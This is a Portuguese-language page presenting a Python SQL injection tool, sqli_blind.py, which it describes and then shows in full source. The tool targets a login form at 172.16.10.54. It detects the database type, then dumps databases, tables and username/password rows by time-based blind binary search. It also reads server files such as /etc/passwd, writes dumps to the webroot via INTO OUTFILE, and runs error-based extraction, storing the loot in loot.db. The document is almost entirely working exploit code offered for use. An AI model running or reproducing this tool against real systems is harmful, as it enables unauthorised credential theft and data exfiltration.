pythonWeb & SQL Injection#sqli
541 linhassqli_blind.py

sqli_blind.py — Time-Based Blind Dumper ⚡

Ferramenta interativa de alta performance para exploração e extração automatizada em SQL Injection Time-Based Blind, Error-Based e INTO OUTFILE.

Destaques Operacionais

  • Busca binária otimizada: ~7 requests por caractere em vez de ~70 (10x mais rápido)
  • Detecção automática do SGBD (MySQL, PostgreSQL, MSSQL) e sintaxe de delay
  • Múltiplos modos: Time-based, Error-based (extractvalue/updatexml), LOAD_FILE e INTO OUTFILE
  • Persistência automática do loot em arquivo de texto e SQLite local (loot.db)
  • Gerenciamento de sessões com token CSRF dinâmico e multithreading por posição

Como Executar

# Configurar alvo e delay no cabeçalho do script
TARGET = "http://alvo.com/login"
DELAY  = 1.5
THREADS = 3

# Executar modo interativo com menu numérico
python3 sqli_blind.py

* Ajuste as permissões de execução com chmod +x sqli_blind.py se necessário.

Código Fonte — sqli_blind.py
python
#!/usr/bin/env python3
"""
SQLi Time-Based Blind — FAST Credential Dumper
Alvo: 172.16.10.54 | Param: username (POST)

Otimizações:
  - Busca BINÁRIA (7 requests por char em vez de ~70) = 10x mais rápido
  - SLEEP reduzido para 1s
  - Threads para extrair múltiplas posições
  - CSRF token com cache
"""

import requests
import string
import sys
import time
import re
import sqlite3
import random
import concurrent.futures
import threading

# ═══════════════════════════════════════════
TARGET = "http://172.16.10.54/"
DELAY = 1                    # 1 segundo (metade do anterior)
THRESHOLD = DELAY - 0.3
MAX_LEN = 64
THREADS = 3             # Posições simultâneas (cuidado: muito alto pode dar falso positivo)

lock = threading.Lock()
session_local = threading.local()


def get_session():
    """Uma session por thread."""
    if not hasattr(session_local, "session"):
        session_local.session = requests.Session()
    return session_local.session


def get_token():
    """Pega CSRF token."""
    s = get_session()
    r = s.get(TARGET, timeout=5)
    match = re.search(r'name="_token"\s+value="([^"]+)"', r.text)
    return match.group(1) if match else ""


def inject(payload: str) -> bool:
    """Envia payload e mede tempo."""
    s = get_session()
    token = get_token()
    data = {"_token": token, "username": payload, "password": "test"}
    start = time.time()
    try:
        s.post(TARGET, data=data, timeout=DELAY + 8)
    except requests.exceptions.Timeout:
        return True
    except Exception:
        return False
    return (time.time() - start) >= THRESHOLD


def extract_char_binary(payload_template: str, pos: int, **kwargs) -> str:
    """
    Busca BINÁRIA — encontra o caractere na posição `pos`.
    Em vez de testar a-z um por um (~70 tentativas),
    compara o valor ASCII com > (maior que) para dividir o range ao meio.
    Resultado: ~7 tentativas por caractere em vez de ~70.
    """
    low, high = 32, 126  # Range ASCII imprimível

    while low < high:
        mid = (low + high) // 2

        # "O caractere na posição X tem ASCII > mid?"
        payload = payload_template.format(pos=pos, mid=mid, delay=DELAY, **kwargs)

        if inject(payload):
            low = mid + 1   # Verdadeiro: char > mid
        else:
            high = mid       # Falso: char <= mid

    if low == 32 or low > 126:
        return ""  # Nenhum caractere = fim da string

    return chr(low)


def extract_fast(label: str, payload_template: str, **kwargs) -> str:
    """Extrai string usando busca binária — 10x mais rápido."""
    result = [""] * MAX_LEN
    final = ""

    # Extrair sequencialmente (mais confiável que threads para time-based)
    for pos in range(1, MAX_LEN + 1):
        char = extract_char_binary(payload_template, pos, **kwargs)
        if not char:
            break
        final += char
        with lock:
            sys.stdout.write(f"\r[+] {label}: {final}")
            sys.stdout.flush()

    print()
    return final


def test_sqli():
    """Testa payloads para descobrir qual funciona."""
    print("[*] Testando conexão...")
    try:
        s = get_session()
        r = s.get(TARGET, timeout=5)
        print(f"[+] Alvo acessível! Status: {r.status_code}")
    except Exception as e:
        print(f"[-] Erro: {e}")
        return None

    print(f"[*] Testando payloads com SLEEP({DELAY})...\n")

    # Payloads de teste (true condition = deve demorar)
    tests = [
        ("MySQL '",           f"' OR SLEEP({DELAY})-- -"),
        ("MySQL \"",          f'" OR SLEEP({DELAY})-- -'),
        ("MySQL ')",          f"') OR SLEEP({DELAY})-- -"),
        ("MySQL ' AND",       f"' AND SLEEP({DELAY})-- -"),
        ("MySQL ' #",         f"' OR SLEEP({DELAY})#"),
        ("MySQL IF",          f"' OR IF(1=1,SLEEP({DELAY}),0)-- -"),
        ("PostgreSQL '",      f"'; SELECT pg_sleep({DELAY})-- -"),
        ("PostgreSQL CASE",   f"' OR CASE WHEN 1=1 THEN pg_sleep({DELAY}) END-- -"),
        ("MSSQL",             f"'; WAITFOR DELAY '00:00:0{DELAY}'-- -"),
    ]

    for name, payload in tests:
        sys.stdout.write(f"  [{name}]... ")
        sys.stdout.flush()
        if inject(payload):
            print(f"✅ FUNCIONA!")
            return name
        else:
            print(f"❌")

    return None


def build_payloads(db_type, prefix):
    """Monta os payloads baseado no tipo de banco."""
    if db_type == "mysql":
        return {
            "db":      f"{prefix} OR IF(ASCII(SUBSTRING(database(),{{pos}},1))>{{mid}},SLEEP({{delay}}),0)-- -",
            "tables":  f"{prefix} OR IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {{table_idx}},1),{{pos}},1))>{{mid}},SLEEP({{delay}}),0)-- -",
            "columns": f"{prefix} OR IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{{table}}' LIMIT {{col_idx}},1),{{pos}},1))>{{mid}},SLEEP({{delay}}),0)-- -",
            "data":    f"{prefix} OR IF(ASCII(SUBSTRING((SELECT {{column}} FROM {{table}} LIMIT {{row}},1),{{pos}},1))>{{mid}},SLEEP({{delay}}),0)-- -",
        }
    elif db_type == "postgres":
        return {
            "db":      f"{prefix} OR CASE WHEN ASCII(SUBSTRING(current_database(),{{pos}},1))>{{mid}} THEN pg_sleep({{delay}}) END-- -",
            "tables":  f"{prefix} OR CASE WHEN ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='public' LIMIT 1 OFFSET {{table_idx}}),{{pos}},1))>{{mid}} THEN pg_sleep({{delay}}) END-- -",
            "columns": f"{prefix} OR CASE WHEN ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{{table}}' LIMIT 1 OFFSET {{col_idx}}),{{pos}},1))>{{mid}} THEN pg_sleep({{delay}}) END-- -",
            "data":    f"{prefix} OR CASE WHEN ASCII(SUBSTRING((SELECT {{column}} FROM {{table}} LIMIT 1 OFFSET {{row}}),{{pos}},1))>{{mid}} THEN pg_sleep({{delay}}) END-- -",
        }
    return None


def menu():
    """Menu interativo — pule direto para a fase que quiser."""
    print("""
╔═══════════════════════════════════════════════╗
║  SQLi Time-Based Blind — FAST Dumper ⚡       ║
║  Alvo: 172.16.10.54 | Busca Binária          ║
╚═══════════════════════════════════════════════╝

  0. Detectar injeção (testar payloads)
  1. Descobrir nome do banco
  2. Listar tabelas
  3. Listar colunas  (pule direto se já sabe a tabela!)
  4. DUMP dados      (time-based, lento)
  5. Auto completo   (faz tudo sequencial)
  6. Ler arquivo do servidor (LOAD_FILE — lento)
  7. ⚡ DUMP RÁPIDO via INTO OUTFILE (escreve no servidor + baixa)
  8. ⚡ DUMP RÁPIDO via Error-Based (tenta extrair por erro)
  q. Sair
""")


def detect_injection():
    """Detecta tipo de banco e retorna payloads."""
    result = test_sqli()
    if not result:
        print("\n[-] Nenhum payload funcionou.")
        return None, None

    if "PostgreSQL" in result:
        db_type = "postgres"
    elif "MSSQL" in result:
        db_type = "mssql"
    else:
        db_type = "mysql"

    prefix = "'"
    if "')" in result:
        prefix = "')"
    elif '"' in result and 'MySQL "' in result:
        prefix = '"'

    print(f"\n[+] Tipo: {db_type.upper()} | Prefixo: {prefix}")
    payloads = build_payloads(db_type, prefix)
    return db_type, payloads


def main():
    db_type = None
    payloads = None

    # Tentar detectar automaticamente na primeira vez
    menu()
    
    while True:
        choice = input("\n[menu] Opção: ").strip().lower()

        if choice == "q":
            break

        # Garantir que a detecção foi feita (exceto se o user quer pular)
        if choice in ("1", "2", "3", "4", "5", "6") and payloads is None:
            print("\n[*] Primeiro preciso detectar o tipo de injeção...")
            db_type, payloads = detect_injection()
            if not payloads:
                continue

        if choice == "0":
            db_type, payloads = detect_injection()

        elif choice == "1":
            print("\n" + "=" * 50)
            db_name = extract_fast("Database", payloads["db"])
            print(f"\n[🗄️] Database: {db_name}")

        elif choice == "2":
            print("\n" + "=" * 50)
            tables = []
            for i in range(15):
                t = extract_fast(f"Tabela {i}", payloads["tables"], table_idx=i)
                if not t:
                    break
                tables.append(t)
                # Mostrar tabelas encontradas ATÉ AGORA
                print(f"    Encontradas até agora: {tables}")
            print(f"\n[📋] Todas as tabelas: {tables}")

        elif choice == "3":
            table = input("[?] Nome da tabela: ").strip()
            if not table:
                print("[-] Preciso do nome da tabela.")
                continue
            print(f"\n[*] Extraindo colunas de '{table}'...")
            columns = []
            for i in range(15):
                c = extract_fast(f"Coluna {i}", payloads["columns"], table=table, col_idx=i)
                if not c:
                    break
                columns.append(c)
                print(f"    Encontradas até agora: {columns}")
            print(f"\n[📌] Colunas de '{table}': {columns}")

        elif choice == "4":
            table = input("[?] Nome da tabela: ").strip()
            col_user = input("[?] Coluna do username: ").strip()
            col_pass = input("[?] Coluna da senha: ").strip()
            rows = input("[?] Quantas linhas? (Enter=5): ").strip()
            rows = int(rows) if rows else 5

            print(f"\n[*] Extraindo {rows} registros de '{table}'...")
            print("=" * 50)
            for i in range(rows):
                user = extract_fast(f"[{i}] {col_user}", payloads["data"], table=table, column=col_user, row=i)
                pwd = extract_fast(f"[{i}] {col_pass}", payloads["data"], table=table, column=col_pass, row=i)
                if not user and not pwd:
                    print("[*] Sem mais dados.")
                    break
                print(f"\n  🔑  {col_user}: {user}")
                print(f"  🔑  {col_pass}: {pwd}\n")
            print("[✅] Dump completo!")

        elif choice == "5":
            # Auto completo
            print("\n[*] === MODO AUTO ===")

            db_name = extract_fast("Database", payloads["db"])
            print(f"\n[🗄️] Database: {db_name}\n")

            tables = []
            for i in range(15):
                t = extract_fast(f"Tabela {i}", payloads["tables"], table_idx=i)
                if not t:
                    break
                tables.append(t)
                print(f"    Encontradas: {tables}")

            if not tables:
                print("[-] Nenhuma tabela.")
                continue

            print(f"\n[*] Tabelas: {tables}")
            target_table = input("[?] Qual tabela? (Enter=adivinhar): ").strip()
            if not target_table:
                for g in ["users", "user", "accounts", "login"]:
                    if g in tables:
                        target_table = g
                        break
                if not target_table:
                    target_table = tables[0]

            columns = []
            for i in range(15):
                c = extract_fast(f"Coluna {i}", payloads["columns"], table=target_table, col_idx=i)
                if not c:
                    break
                columns.append(c)
                print(f"    Encontradas: {columns}")

            print(f"\n[*] Colunas: {columns}")
            user_col = pass_col = None
            for g in ["username", "user", "login", "email", "name"]:
                if g in columns:
                    user_col = g
                    break
            for g in ["password", "pass", "senha", "pwd", "hash"]:
                if g in columns:
                    pass_col = g
                    break
            if not user_col:
                user_col = input("[?] Coluna do username: ").strip()
            if not pass_col:
                pass_col = input("[?] Coluna da senha: ").strip()

            for i in range(10):
                user = extract_fast(f"[{i}] {user_col}", payloads["data"], table=target_table, column=user_col, row=i)
                pwd = extract_fast(f"[{i}] {pass_col}", payloads["data"], table=target_table, column=pass_col, row=i)
                if not user and not pwd:
                    break
                print(f"\n  🔑  {user_col}: {user}")
                print(f"  🔑  {pass_col}: {pwd}\n")

            print("[✅] Dump completo!")

        elif choice == "6":
            filepath = input("[?] Caminho do arquivo (ex: /etc/passwd): ").strip()
            if not filepath:
                print("[-] Preciso do caminho.")
                continue

            if db_type == "mysql":
                p_file = f"' OR IF(ASCII(SUBSTRING(LOAD_FILE('{filepath}'),{{pos}},1))>{{mid}},SLEEP({{delay}}),0)-- -"
            elif db_type == "postgres":
                # PostgreSQL usa pg_read_file (precisa de superuser)
                p_file = f"' OR CASE WHEN ASCII(SUBSTRING(pg_read_file('{filepath}'),{{pos}},1))>{{mid}} THEN pg_sleep({{delay}}) END-- -"
            else:
                print("[-] Não suportado para este banco.")
                continue

            print(f"\n[*] Lendo '{filepath}'...")
            print("[*] (Se não retornar nada, o MySQL não tem permissão FILE)\n")
            content = extract_fast(f"Arquivo", p_file)
            if content:
                print(f"\n{'=' * 50}")
                print(f"📄 {filepath}:")
                print(f"{'=' * 50}")
                print(content)
                print(f"{'=' * 50}")

                save = input("\n[?] Salvar em arquivo local? (s/n): ").strip().lower()
                if save == "s":
                    fname = filepath.replace("/", "_").strip("_") + ".txt"
                    with open(fname, "w") as f:
                        f.write(content)
                    print(f"[+] Salvo em: {fname}")
            else:
                print("[-] Não consegui ler. Possíveis motivos:")
                print("    - MySQL não tem privilégio FILE")
                print("    - secure_file_priv está ativo")
                print("    - Arquivo não existe")

        elif choice == "7":
            # DUMP RÁPIDO via INTO OUTFILE
            print("\n⚡ DUMP RÁPIDO — INTO OUTFILE")
            print("Escreve o resultado da query num arquivo na webroot do servidor,")
            print("depois baixa via HTTP. UMA request = TODOS os dados!\n")

            table = input("[?] Nome da tabela: ").strip()
            if not table:
                print("[-] Preciso do nome da tabela.")
                continue

            # Gerar nome aleatório pra não conflitar
            rand = ''.join(random.choices(string.ascii_lowercase, k=6))
            remote_file = f"/var/www/html/{rand}.txt"
            remote_url = f"http://172.16.10.54/{rand}.txt"

            # Tentar vários paths de webroot
            webroot_paths = [
                f"/var/www/html/{rand}.txt",
                f"/var/www/{rand}.txt",
                f"/srv/www/html/{rand}.txt",
                f"/var/www/public/{rand}.txt",
            ]

            print(f"[*] Tentando escrever em {remote_file}...")

            token = get_token()
            # Payload: UNION SELECT que escreve tudo no arquivo
            payload = f"' UNION SELECT * FROM {table} INTO OUTFILE '{remote_file}'-- -"
            data = {"_token": token, "username": payload, "password": "test"}

            s = get_session()
            try:
                r = s.post(TARGET, data=data, timeout=10)
            except:
                pass

            # Tentar baixar o arquivo
            print(f"[*] Tentando baixar {remote_url}...")
            try:
                r = s.get(remote_url, timeout=5)
                if r.status_code == 200 and len(r.text) > 0:
                    print(f"\n[+] \u2705 SUCESSO! Dados da tabela '{table}':")
                    print("=" * 60)
                    print(r.text)
                    print("=" * 60)

                    # Salvar localmente
                    local_file = f"dump_{table}.txt"
                    with open(local_file, "w") as f:
                        f.write(r.text)
                    print(f"[+] Salvo em: {local_file}")

                    # Salvar também em SQLite
                    save_to_sqlite(table, r.text)
                else:
                    print(f"[-] Arquivo não encontrado (Status: {r.status_code})")
                    print("[*] Tentando com colunas específicas...")

                    # Tentar com concat de todas as colunas
                    cols = input("[?] Colunas separadas por vírgula (ex: id,name,password): ").strip()
                    if cols:
                        rand2 = ''.join(random.choices(string.ascii_lowercase, k=6))
                        remote_file2 = f"/var/www/html/{rand2}.txt"
                        remote_url2 = f"http://172.16.10.54/{rand2}.txt"

                        # Concat colunas com separador
                        col_list = cols.split(",")
                        concat_expr = ",0x3a,".join(c.strip() for c in col_list)  # 0x3a = :
                        payload2 = f"' UNION SELECT CONCAT({concat_expr}),NULL,NULL,NULL INTO OUTFILE '{remote_file2}'-- -"

                        token = get_token()
                        data2 = {"_token": token, "username": payload2, "password": "test"}
                        try:
                            s.post(TARGET, data=data2, timeout=10)
                        except:
                            pass

                        try:
                            r2 = s.get(remote_url2, timeout=5)
                            if r2.status_code == 200:
                                print(f"\n[+] \u2705 SUCESSO!")
                                print("=" * 60)
                                print(r2.text)
                                print("=" * 60)
                                local_file = f"dump_{table}.txt"
                                with open(local_file, "w") as f:
                                    f.write(r2.text)
                                print(f"[+] Salvo em: {local_file}")
                                save_to_sqlite(table, r2.text)
                            else:
                                print("[-] N\u00e3o funcionou. secure_file_priv pode estar bloqueando.")
                        except Exception as e:
                            print(f"[-] Erro: {e}")

            except Exception as e:
                print(f"[-] Erro ao baixar: {e}")

        elif choice == "8":
            # Tentar Error-Based para extra\u00e7\u00e3o r\u00e1pida
            print("\n\u26a1 EXTRA\u00c7\u00c3O POR ERRO — Error-Based")
            print("Tenta extrair dados via mensagem de erro do MySQL (muito mais r\u00e1pido!)\n")

            table = input("[?] Nome da tabela: ").strip()
            col = input("[?] Coluna para extrair: ").strip()
            row = input("[?] Linha (0=primeira, 1=segunda...): ").strip()
            row = int(row) if row else 0

            # Payload Error-Based com extractvalue
            payload = f"' AND extractvalue(1,CONCAT(0x7e,(SELECT {col} FROM {table} LIMIT {row},1),0x7e))-- -"

            token = get_token()
            data = {"_token": token, "username": payload, "password": "test"}
            s = get_session()
            try:
                r = s.post(TARGET, data=data, timeout=10)
                # Procurar o valor entre ~ na resposta
                match = re.search(r'~([^~]+)~', r.text)
                if match:
                    value = match.group(1)
                    print(f"\n[+] \u2705 {col}[{row}] = {value}")
                else:
                    # Tentar com updatexml
                    payload2 = f"' AND updatexml(1,CONCAT(0x7e,(SELECT {col} FROM {table} LIMIT {row},1),0x7e),1)-- -"
                    token = get_token()
                    data2 = {"_token": token, "username": payload2, "password": "test"}
                    r2 = s.post(TARGET, data=data2, timeout=10)
                    match2 = re.search(r'~([^~]+)~', r2.text)
                    if match2:
                        print(f"\n[+] \u2705 {col}[{row}] = {match2.group(1)}")
                    else:
                        print("[-] Error-Based n\u00e3o funcionou. O servidor pode n\u00e3o exibir erros SQL.")
                        print("[*] Use a op\u00e7\u00e3o 4 (time-based) ou 7 (INTO OUTFILE).")
            except Exception as e:
                print(f"[-] Erro: {e}")

        else:
            menu()


def save_to_sqlite(table_name, raw_data):
    """Salva os dados extra\u00eddos em um SQLite local."""
    db = sqlite3.connect("loot.db")
    cur = db.cursor()
    cur.execute(f"CREATE TABLE IF NOT EXISTS {table_name}_dump (id INTEGER PRIMARY KEY AUTOINCREMENT, line TEXT)")
    for line in raw_data.strip().split("\n"):
        if line.strip():
            cur.execute(f"INSERT INTO {table_name}_dump (line) VALUES (?)", (line.strip(),))
    db.commit()
    db.close()
    print(f"[+] Dados salvos em loot.db (tabela: {table_name}_dump)")
    print(f"[*] Consulte com: sqlite3 loot.db 'SELECT * FROM {table_name}_dump;'")


if __name__ == "__main__":
    main()